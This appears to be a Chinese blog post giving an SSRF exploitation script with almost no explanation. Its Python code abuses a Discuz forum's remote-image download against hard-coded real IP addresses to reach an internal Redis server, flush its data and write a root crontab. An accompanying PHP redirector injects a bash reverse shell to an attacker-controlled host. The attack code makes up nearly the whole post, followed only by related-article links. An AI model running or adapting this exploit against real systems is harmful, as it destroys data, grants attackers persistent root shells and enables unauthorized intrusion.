ssrf漏洞利用

作者: CanMeng | 来源:发表于2018-08-06 13:42 被阅读1次

先是写入任务计划反弹shell的脚本

#!/usr/bin/env python

# coding=utf-8

import requests

host = '127.0.0.1'

port = '6379'

bhost = '133.130.100.69'

bport = '38'

vul_httpurl = 'http://150.95.128.111/upload/forum.php?mod=ajax&action=downremoteimg&message=[img]'

_location = 'http://133.130.100.69/exp.php'

shell_location = 'http://133.130.100.69/shell.php'

#1 flush db

_payload = '?s=dict%26ip={host}%26port={port}%26data=flushall'.format(

host = host,

port = port)

exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg[/img]'.format(_location, _payload, vul_httpurl=vul_httpurl)

print exp_uri

print len(requests.get(exp_uri).content)

#2 set crontab command

_payload = '?s=dict%26ip={host}%26port={port}%26bhost={bhost}%26bport={bport}'.format(

host = host,

port = port,

bhost = bhost,

bport = bport)

exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg[/img]'.format(shell_location, _payload, vul_httpurl=vul_httpurl)

print exp_uri

print len(requests.get(exp_uri).content)

#3 config set dir /var/spool/cron/

_payload = '?s=dict%26ip={host}%26port={port}%26data=config:set:dir:/var/spool/cron/'.format(

host = host,

port = port)

exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg[/img]'.format(_location, _payload, vul_httpurl=vul_httpurl)

print exp_uri

print len(requests.get(exp_uri).content)

#4 config set dbfilename root

_payload = '?s=dict%26ip={host}%26port={port}%26data=config:set:dbfilename:root'.format(

host = host,

port = port)

exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg[/img]'.format(_location, _payload, vul_httpurl=vul_httpurl)

print exp_uri

print len(requests.get(exp_uri).content)

#5 save to file

_payload = '?s=dict%26ip={host}%26port={port}%26data=save'.format(

host = host,

port = port)

exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg[/img]'.format(_location, _payload, vul_httpurl=vul_httpurl)

print exp_uri

print len(requests.get(exp_uri).content)

exp.php见上篇文章,shell.php代码

$ip = $_GET['ip'];

$port = $_GET['port'];

$bhost = $_GET['bhost'];

$bport = $_GET['bport'];

$scheme = $_GET['s'];

header("Location: $scheme://$ip:$port/set:0:\"\\x0a\\x0a*/1\\x20*\\x20*\\x20*\\x20*\\x20/bin/bash\\x20-i\\x20>\\x26\\x20/dev/tcp/{$bhost}/{$bport}\\x200>\\x261\\x0a\

\x0a\\x0a\"");

?>

相关文章

  • ssrf攻击内网应用

    一、weblogic ssrf攻击redis Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTT...

  • ssrf漏洞利用

    先是写入任务计划反弹shell的脚本 #!/usr/bin/env python # coding=utf-8 i...

  • SSRF漏洞利用

    前言 之前自己搭建ssrf漏洞的时候,只是简单复现。现在突然发现可以继续深入一下,算是对之前的补充吧。 回顾 参考...

  • weblogic漏洞系列-SSRF漏洞

    0x01前言: SSRF漏洞的原理这里就不在细说了,这里主要讲解weblogic中SSRF漏洞的检测办法,以及利用...

  • ssrf内网横向redis getshell

    漏洞环境 Weblogic 10.3版本内网ip网段:172.26.0.0/24 ssrf 漏洞验证 此处可以利用...

  • SSRF漏洞

    上周挖了几个SSRF漏洞,标的服务器配置较为简单,利用file协议就可以做很多事情。后来顺便看了一些SSRF漏洞相...

  • 安全包开发整体架构

    SSRF防御 SSRF安全漏洞以及防御实现 XSS防御 xss漏洞以及防御实现 CSRF防御 CSRF安全漏洞以及...

  • SSRF漏洞分析与利用

    这段时间一直划水来着,突然看到SSRF漏洞,觉得新奇,我只知道csrf,SSRF是什么东西,还能穿透防火墙、主机信...

  • Weblogic SSRF 漏洞复现

    关于SSRF漏洞的原理以及利用已经记录过了,可以访问https://www.jianshu.com/p/6bf77...

  • SSRF漏洞

      最近给业务测试,发现了SSRF(服务器请求伪造攻击)漏洞,这里简单给大家做个介绍。 SSRF漏洞的定义   S...

网友评论

    本文标题:ssrf漏洞利用

    本文链接:https://www.haomeiwen.com/subject/ewowvftx.html